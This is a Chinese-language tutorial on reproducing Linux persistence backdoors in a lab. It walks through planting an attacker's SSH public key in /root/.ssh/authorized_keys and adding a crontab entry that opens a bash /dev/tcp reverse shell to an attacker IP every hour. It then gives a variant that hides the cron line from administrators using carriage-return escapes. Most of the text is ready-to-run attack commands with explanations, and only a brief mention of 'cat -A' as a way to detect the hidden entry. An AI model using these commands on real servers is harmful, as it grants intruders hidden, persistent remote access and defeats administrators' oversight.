整理好了搭环境的文章:LINUX 后门复现环境搭建

攻击者在通过各种手段获得服务器的控制权之后,通常会在服务器上布置一些脚本、进程、链接,即所谓的后门。其目的是,方便攻击者以后对该服务器进行持久性的攻击。

其中,在 linux 服务器上留后门的常见技术,本文中会提及如下几种:

  • SSH 公钥免密
  • crontab 后门
    ...

# SSH 公钥免密

简而言之,SSH 公钥免密就是,将攻击者生成的 ssh 公钥写到目标服务器/root/.ssh/authorized_keys 中(手动在目标机上完成注册),
然后攻击者就可以利用对应的私钥免密登录。

实现:

  1. 使用 Xshell 的 工具 -> 新建用户密钥生成向导,完成 ssh 公钥、私钥的生成:image-20230426010853712
    (填入密码)
    <br>

  2. 保存生成的公钥文件(id_rsa_2048.pub),传到目标服务器上,image-20230426010925673
    <br>

  3. 寻找 authorized_keys 文件,命令 find -name authorized_keys
    如果没有,就通过命令 touch /root/.ssh/authorized_keys 创建。
    <br>

  4. 命令 ssh-keygen -t rsa 开启免密登录功能,
    <br>

  5. 通过命令 cat 公钥路径 >> /root/.ssh/authorized_keys 把公钥写入到 authorized_keys,完成注册
    <br>

  6. 修改文件权限 chmod 600 ~/.ssh/authorized_keys
    chmod 700 ~/.ssh
    <br>

  7. 攻击者使用 Xshell 生成的私钥和之前填写的密码,登录目标服务器image-20230426010955314image-20230426011015095

# crontab 后门

Crond 服务启动后,会定期(默认一分钟检查一次)检查它的配置文件中,是否有要执行的任务。
如果有,就会根据预先设定定时任务规则自动执行该任务。
crontab 是用来定期执行程序的命令,
我们可以通过 crontab 命令制造定时后门:
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/192.168.158.132/2333;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

解释:
echo '*/60 * * * *' :设定每 60 分钟执行一次;
exec 9<>/dev/tcp/192.168.158.132/2333 :利用 bash 提供的功能,对 /dev/tcp/ 开头的字符串进行解析,指定服务器 IP 为:192.168.158.132(攻击机 IP),端口号为 2333,指定描述符为 9,建立网络连接;
exec 0<&9;exec 1>&9 2>&1;文件描述符 0:stdin,1:stdout,把标准输入输出重定向到描述符 9;
/bin/bash --noprofile -i :开一个 Shell。
其实就是利用 Bash 反弹一个 Shell 到指定的攻击者 IP

(ubuntu 默认没开 bash 的网络重定向选项,需要加上 –enable-net-redirections 重新编译 bash)

隐藏:
但是这样的一个后门,管理员直接执行 crontab -l 就能看到我们设定的定时任务。
image-20230426011055514
这个命令其实是在读取 /var/spool/cron/crontabs/root 文件。
所以,我们可以利用 cat 的一个缺陷,使用一些转义字符,比如 \r 回车符 \n 换行符 \f 换页符,来隐藏我们不想让管理员看到的命令:
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/192.168.158.132/2333;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for whoami %100c\n")|crontab -
image-20230426011110789 但是,若是使用 cat -A /var/spool/cron/crontabs/root 还是可以看到我们隐藏的东西的。